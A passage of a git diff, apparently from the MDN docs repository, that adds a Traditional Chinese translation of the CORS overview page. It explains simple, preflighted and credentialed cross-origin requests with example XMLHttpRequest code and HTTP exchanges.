href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> +</ul> diff --git a/files/zh-tw/web/http/cors/index.html b/files/zh-tw/web/http/cors/index.html new file mode 100644 index 0000000000..4d0952381c --- /dev/null +++ b/files/zh-tw/web/http/cors/index.html @@ -0,0 +1,549 @@ +--- +title: 跨來源資源共用（CORS） +slug: Web/HTTP/CORS +tags: + - AJAX + - CORS + - Cross-Origin Resource Sharing + - Fetch + - Fetch API + - HTTP + - HTTP Access Controls + - Same-origin policy + - Security + - XMLHttpRequest +translation_of: Web/HTTP/CORS +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">跨來源資源共用（Cross-Origin Resource Sharing ({{Glossary("CORS")}})）是一種使用額外 {{Glossary("HTTP")}} 標頭令目前瀏覽網站的{{Glossary("user agent","使用者代理")}}取得存取其他來源（網域）伺服器特定資源權限的機制。</span>當使用者代理請求一個不是目前文件來源——例如來自於不同網域（domain）、通訊協定（protocol）或通訊埠（port）的資源時，會建立一個<strong>跨來源 HTTP 請求（cross-origin HTTP request）</strong>。</p> + +<p>舉個跨來源請求的例子：<code>http://domain-a.com</code> HTML 頁面裡面一個 <a href="/zh-TW/docs/Web/HTML/Element/Img#Attributes"><code><img></code> 標籤的 <code>src</code> 屬性</a>載入來自 <code>http://domain-b.com/image.jpg</code> 的圖片。現今網路上許多頁面所載入的資源，如 CSS 樣式表、圖片影像、以及指令碼（script）都來自與所在位置分離的網域，如內容傳遞網路（content delivery networks, CDN）。</p> + +<p>基於安全性考量，程式碼所發出的跨來源 HTTP 請求會受到限制。例如，{{domxref("XMLHttpRequest")}} 及 {{domxref("Fetch_API", "Fetch")}} 都遵守<a href="/zh-TW/docs/Web/Security/Same-origin_policy">同源政策（same-origin policy）</a>。這代表網路應用程式所使用的 API 除非使用 CORS 標頭，否則只能請求與應用程式相同網域的 HTTP 資源。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> + +<p>跨來源資源共用（Cross-Origin Resource Sharing，簡稱 {{Glossary("CORS")}}）機制提供了網頁伺服器跨網域的存取控制，增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器（如 {{domxref("XMLHttpRequest")}} 或 {{domxref("Fetch_API", "Fetch")}}）中使用 CORS 以降低跨來源 HTTP 請求的風險。</p> + +<h2 id="誰應該閱讀這篇文章？">誰應該閱讀這篇文章？</h2> + +<p>認真講，所有人。</p> + +<p>進一步來說，本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件，包括標頭和政策施定。關於伺服器部分請參閱<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">跨來源</a>共用<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">：從伺服器觀點出發（以 PHP 為範例）</a>的補充說明。</p> + +<h2 id="哪些請求會使用_CORS？">哪些請求會使用 CORS？</h2> + +<p><a href="http://www.w3.org/TR/cors/">跨來源資源</a>共用<a href="http://www.w3.org/TR/cors/">標準</a>可用來開啟以下跨站 HTTP 請求：</p> + +<ul> + <li>使用 <code>XMLHttpRequest</code> 或 <code>Fetch API</code> 進行跨站請求，如前所述。</li> + <li>網頁字體（跨網域 CSS 的 <code>@font-face</code> 的字體用途），<a href="http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox">所以伺服器可以佈署 TrueType 字體，並限制只讓信任的網站跨站載入</a>。</li> + <li><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 紋理</a>。</li> + <li>以 <code><a href="/zh-TW/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code> 繪製到 Canvas 畫布上的圖形／影片之影格。</li> + <li>CSS 樣式表（讓 <a href="/zh-TW/docs/Web/CSS/CSSOM_View">CSSOM</a> 存取）。</li> + <li>指令碼（for unmuted exceptions）。</li> +</ul> + +<p>本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。</p> + +<h2 id="功能總覽">功能總覽</h2> + +<p>跨來源資源共用標準的運作方式是藉由加入新的 <a href="/zh-TW/docs/Web/HTTP/Headers">HTTP 標頭</a>讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外，針對會造成副作用的 HTTP 請求方法（特別是 {{HTTPMethod("GET")}} 以外的 HTTP 方法，或搭配某些 <a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a> 的 {{HTTPMethod("POST")}} 方法），規範要求瀏覽器必須要請求傳送「預檢（preflight）」請求，以 HTTP 的 {{HTTPMethod("OPTIONS")}} 方法之請求從伺服器取得其支援的方法。當伺服器許可後，再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料（包括 <a href="/zh-TW/docs/Web/HTTP/Cookies">Cookies</a> 和 HTTP 認證（Authentication）資料）一併隨請求送出。</p> + +<p>之後的小節，我們將討論使用情境和相關的 HTTP 標頭。</p> + +<h2 id="存取控制情境範例">存取控制情境範例</h2> + +<p>我們將在此展示三種情境，來說明跨來源資源共用如何運作。所有的範例都使用 {{domxref("XMLHttpRequest")}} 物件，<code>XMLHttpRequest</code> 可以讓任何支援的瀏覽器進行跨站請求。</p> + +<p>本節的 JavaScript 程式碼片段（以及處理跨站請求的伺服器端程式運作實體）可以在 <a class="external external-icon" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> 看到，並可以運行在支援跨站 {{domxref("XMLHttpRequest")}} 請求的瀏覽器上。</p> + +<p>對於伺服器端的跨來源資源共用討論（包含 PHP 範例）可參考<a href="/zh-TW/docs/Web/HTTP/Server-Side_Access_Control">伺服器端存取控制</a>。</p> + +<h3 id="簡單請求">簡單請求</h3> + +<p>部分請求不會觸發 <a href="#Preflighted_requests">CORS 預檢</a>。這類請求在本文中被稱作「簡單請求（simple requests）」，雖然 {{SpecName('Fetch')}} 規範（其定義了 CORS）中並不使用這個述語。一個不觸發 <a href="#Preflighted_requests">CORS 預檢</a>的請求——所謂的「簡單請求（simple requests）」——其滿足以下所有條件：</p> + +<ul> + <li>僅允許下列 HTTP 方法： + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li>除了 user agent 自動設定的標頭（例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}}，或是<a href="https://fetch.spec.whatwg.org/#forbidden-header-name">任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」</a>中的標頭）之外，僅可手動設定<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」</a>的標頭，它們為： + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}}（但請注意下方的額外要求）</li> + <li>{{HTTPHeader("Last-Event-ID")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>僅允許以下 {{HTTPHeader("Content-Type")}} 標頭值： + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>沒有事件監聽器被註冊到任何用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件（經由 {{domxref("XMLHttpRequest.upload")}} 屬性取得）上。</li> + <li>請求中沒有 {{domxref("ReadableStream")}} 物件被用於上傳。</li> +</ul> + +<div class="note"><strong>備註：</strong>雖然這些都是網頁目前已經可以送出的跨站請求，但除非伺服器回傳適當標頭，否則不會有資料回傳，因此不允許跨站請求的網站無須擔心會受到新的 HTTP 存取控制影響。</div> + +<div class="note"><strong>備註：</strong>WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 就不會將該請求視為「簡單請求」。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>、<a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a> 和 <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。</div> + +<p>例如，假設 <code class="plain">http://foo.example</code> 網域上的網頁內容想要呼叫 <code class="plain">http://bar.other</code> 網域內的內容，以下程式碼可能會在 foo.example 上執行：</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p>這將會在客戶端與伺服器端之間發起一個簡單的資料交換，並使用 CORS 相關標頭來處理權限：</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> + +<p>我們來看看這個例子中瀏覽器將會送出什麼到伺服器，而伺服器又會如何回應：</p> + +<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 {{HTTPHeader("Origin")}} 標頭，它標示出請求是來自 <code class="plain">http://foo.example</code> 網域上的內容。</p> + +<p>第 13 - 22 行是 <code class="plain">http://bar.other</code> 網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭，從 {{HTTPHeader("Origin")}} 標頭與 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭中可以看到存取控制協定最簡單的用途。這個例子中，伺服器回傳 <code>Access-Control-Allow-Origin: *</code> 表示允許<strong>任何</strong>網域跨站存取資源，倘若 <code class="plain">http://bar.other</code> 的資源擁有者只准許來自 <code class="plain">http://foo.example</code> 的存取資源請求，那麼將會回傳：</p> + +<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> + +<p>如此一來，來源並非 <code class="plain">http://foo.example</code> 網域（由第 10 行請求標頭中的 ORIGIN 標頭確認）便無法以跨站的方式存取資源。<code>Access-Control-Allow-Origin</code> 標頭必須包含請求當中的 <code>Origin</code> 標頭值。</p> + +<h3 id="預檢請求">預檢請求</h3> + +<p>不同於上面討論「<a href="#簡單請求">簡單請求</a>」的例子，「預檢（preflighted）」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域，確認後續實際（actual）請求是否可安全送出，由於跨站請求可能會攜帶使用者資料，所以要先進行預檢請求。</p> + +<p>準確來說，如果滿足以下<strong>任一項條件</strong>時會發出預檢請求：</p> + +<ul> + <li><strong>假如</strong>請求方法為以下其中之一： + + <ul> + <li>{{HTTPMethod("PUT")}}</li> + <li>{{HTTPMethod("DELETE")}}</li> + <li>{{HTTPMethod("CONNECT")}}</li> + <li>{{HTTPMethod("OPTIONS")}}</li> + <li>{{HTTPMethod("TRACE")}}</li> + <li>{{HTTPMethod("PATCH")}}</li> + </ul> + </li> + <li><strong>或是假如</strong>除了 user agent 自動設定的標頭（例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}}，或是<a href="https://fetch.spec.whatwg.org/#forbidden-header-name">任何請求規範［Fetch spec］中定義的「禁止使用的標頭名稱［forbidden header name］」</a>中的標頭）之外，請求中包含了任何除了<a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">這些於請求規格（Fetch spec）中定義為「CORS 安全列表請求標頭（CORS-safelisted request-header）」</a>以外的標頭，具體如下： + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}}（但請注意下方的額外要求）</li> + <li>{{HTTPHeader("Last-Event-ID")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li><strong>或是假如</strong> {{HTTPHeader("Content-Type")}} 標頭有除了下方所列出以外的值： + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li><strong>或是假如</strong>一或多個事件監聽器被註冊到一個用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件上。</li> + <li><strong>或是假如</strong>請求中有一個 {{domxref("ReadableStream")}} 物件被於上傳。</li> +</ul> + +<div class="note"><strong>備註：</strong>WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值，WebKit／Safari 便會傳送預檢請求。WebKit／Safari 並沒有於文件中定義何者為「非標準」值，只有在以下 WebKit bugs 中討論：<a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>、<a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a> 和 <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>。其它的瀏覽器沒有實作這些額外的限制，因為這並不是規範中的一部分。</div> + +<p>下面是一段會引起預檢請求的範例：</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/post-here/'; +var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>在這個例子中，第 3 行建立了一段 XML 內容資料並於第 8 行使用 <code>POST</code> 請求送出。而在第 9 行，設定了一個自定義的（非標準）之 HTTP 請求標頭（<code>X-PINGOTHER: pingpong</code>）。此標頭並非 HTTP/1.1 通訊協定的一部分，但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 <code>application/xml</code>，且設定了自定義標頭，故此請求為預檢請求。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png" style="height: 553px; width: 521px;"></p> + +<p>我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為<em>預檢請求／回應</em>：</p> + +<pre class="brush: none">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain +</pre> + +<p>一旦預檢請求完成，真正的請求才會被送出：</p> + +<pre class="brush: none">POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload] +</pre> + +<p>第 1 - 12 行屬於 {{HTTPMethod("OPTIONS")}} 方法的預檢請求，瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求，好讓伺服器回應是否允許後續送出實際（actual）請求。OPTIONS 是一個 HTTP/1.1 方法，這個方法用來確認來自伺服器進一步的資訊，重複執行不會造成任何影響，為一{{Glossary("safe", "安全")}}方法，不會造成資源更動。除了 OPTIONS 方法，有另外兩個送出的請求標頭（分別在第 10 及 11 行）：</p> + +<pre class="brush: none">Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +</pre> + +<p>{{HTTPHeader("Access-Control-Request-Method")}} 標頭會告訴伺服器之後送出的實際（actual）請求會是 <code>POST</code> 方法。{{HTTPHeader("Access-Control-Request-Headers")}} 標頭則是通知伺服器實際（actual）請求會帶有一個自定義的 <code>X-PINGOTHER</code> 標頭。在這些資訊下，接著伺服器將會確定是否接受請求。</p> + +<p>第 14 - 26 行屬於伺服器的回應，它說明了伺服器接受 <code>POST</code> 請求方法和 <code>X-PINGOTHER</code> 標頭。另外讓我們特別來看看 17 - 20 行：</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</pre> + +<p>伺服器回應中的 <code>Access-Control-Allow-Methods</code> 標頭表示伺服器可以接受 <code>POST</code>、<code>GET</code> 和 <code>OPTIONS</code> 方法。請注意此標頭和 {{HTTPHeader("Allow")}} 十分相似，但它只在存取控制範圍下才有意義。</p> + +<p>伺服器也回傳了 <code>Access-Control-Allow-Headers</code> 標頭及其值「<code>X-PINGOTHER, Content-Type</code>」，表示伺服器允許在實際（actual）請求中使用以上這兩個標頭。與 <code>Access-Control-Allow-Methods</code> 相同，<code>Access-Control-Allow-Headers</code> 也是用逗號分隔可接受的標頭名稱。</p> + +<p>最後，{{HTTPHeader("Access-Control-Max-Age")}} 提供了本次預檢請求回應所可以快取的秒數。在此範例中，86400 秒即為 24 小時。請留意每一個瀏覽器都有<a href="/zh-TW/docs/Web/HTTP/Headers/Access-Control-Max-Age">預設的最大值</a>，當 <code>Access-Control-Max-Age</code> 較預設值大時會優先採用預設值。</p> + +<h4 id="預檢請求和重新導向">預檢請求和重新導向</h4> + +<p>目前大多瀏覽器不支援預檢請求時的重新導向，如果預檢請求進行中發生重新導向，目前大多的瀏覽器會回報類似以下的錯誤訊息。</p> + +<blockquote> +<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> +</blockquote> + +<blockquote> +<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> +</blockquote> + +<p>CORS 通訊協定最初要求此預檢請求重新導向的行為，但<a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">在隨後的修訂中即改為不要求使用</a>。然而，大多數的瀏覽器尚未實作此變動，且仍舊依照原本的行為要求。</p> + +<p>因此直到瀏覽器趕上規範之前，你可以使用下列一或兩種方法來解決這個限制：</p> + +<ul> + <li>變更伺服器端的行為以避免預檢以及／或是避免重新導向——假如你對被請求的伺服擁有控制權</li> + <li>變更請求為<a href="zh-TW/docs/Web/HTTP/Access_control_CORS#Simple_requests">簡單請求</a>，讓預檢不會發生</li> +</ul> + +<p>但若難以實施以上方法，仍有其他可行的方式：</p> + +<ol> + <li>建立一個<a href="#Simple_requests">簡單請求</a>來測定（使用 Fetch API 的 <a href="/zh-TW/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a> 來測定預檢請求最終真正導向的 URL）。</li> + <li>建立另一個請求（「真正的」請求）傳送至第一步自 <a href="/zh-TW/docs/Web/API/Response/url">Response.url</a> 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/XMLHttpRequest/responseURL">XHR.responseURL</a> 所獲得的 URL。</li> +</ol> + +<p>然而，假如請求是由於存在 <code>Authorization</code> 標頭而觸發預檢，便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前，沒有其他方式能夠解決。</p> + +<h3 id="附帶身分驗證的請求">附帶身分驗證的請求</h3> + +<p>{{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/Fetch_API">Fetch</a> 在 CORS 中最有趣的功能為傳送基於 <a href="/zh-TW/docs/Web/HTTP/Cookies">HTTP cookies</a> 和 HTTP 認證（Authentication）資訊的「身分驗證（credentialed）」請求。預設情況下，在跨站 {{domxref("XMLHttpRequest")}} 或 <a href="https://developer.mozilla.org/zh-TW/docs/Web/API/Fetch_API">Fetch</a> 呼叫時，瀏覽器<strong>不會</strong>送出身分驗證。必須要於 {{domxref("XMLHttpRequest")}} 物件中或是在呼叫 {{domxref("Request")}} 建構式時設置一個特定的旗標。</p> + +<p>在這個範例中，一個來自 <code class="plain">http://foo.example</code> 的內容發出了一個簡單的 GET 去請求一個 <code class="plain">http://bar.other</code> 的資源，且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript：</p> + +<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest(); +var url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</pre> + +<p>第 7 行秀出了一個於 {{domxref("XMLHttpRequest")}} 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——<code>withCredentials</code>。在預設情況下，請求呼叫是不會有 Cookies 的。由於這是一個簡單 <code>GET</code> 請求，並不會進行預檢，但瀏覽器將會<strong>拒絕</strong>任何沒有 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值的回應，並且<strong>不讓</strong>呼叫的網站內容存取該回應。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> + +<p>下面是一個簡單的客戶端與伺服器端之間的交換資訊：</p> + +<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload] +</pre> + +<p>雖然第 11 行包含了預定要給予 <code class="plain">http://bar.other</code> 來取得資源內容的 Cookie，但假如 bar.other 沒有於回應中帶有 {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> 標頭值（第 19 行），則回應將會被乎略且不提供給網站內容使用。</p> + +<h4 id="身分驗證請求與萬用字元">身分驗證請求與萬用字元</h4> + +<p>在回應一個身分驗證請求時，伺服器<strong>必須</strong>於 <code>Access-Control-Allow-Origin</code> 標頭值中指定一個來源，而不是使用「<code>*</code>」萬用字元（wildcard）。</p> + +<p>上方範例的請求標頭中包含了一個 <code>Cookie</code> 標頭，若 <code>Access-Control-Allow-Origin</code> 標頭為「*」，則請求將會失敗。範例中的 <code>Access-Control-Allow-Origin</code> 標頭值為「<code class="plain">http://foo.example</code>」（一個實際的來源）而不是「*」萬用字元，所以身分驗證證明內容被回傳予呼叫的網站內容中。</p> + +<p>請注意上面範例中的 <code>Set-Cookie</code> 回應標頭也設定了另一個 cookie。萬一失敗，會拋出一個錯誤（取決於所使用的 API）。</p> + +<h4 id="第三方_cookies">第三方 cookies</h4> + +<p>請注意，在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中，頁面載入自 <code>foo.example</code>，但第 22 行的 cookie 為 <code>bar.other</code> 所傳送，因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies，則 cookies 不會被保存。</p> + +<h2 id="HTTP_回應標頭">HTTP 回應標頭</h2> + +<p>這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>一個回應的資源可能擁有一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭，如以下的語法：</p> + +<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * +</pre> + +<p><code>origin</code> 參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個<strong>不帶有</strong>身分驗證的請求，伺服器可以指定一個「*」作為萬用字元（wildcard），從而允許任何來源存取資源。</p> + +<p>舉例來說，要允許 http://mozilla.org 存取資源，你可以指定：</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> + +<p>如果伺服器指定了一個來源主機而不是「*」，那也可能於不同回應的標頭中包含不同之來源，來向客戶端表示伺服器的回應會因請求標頭之 <code>Origin</code> 值而有所不同。</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 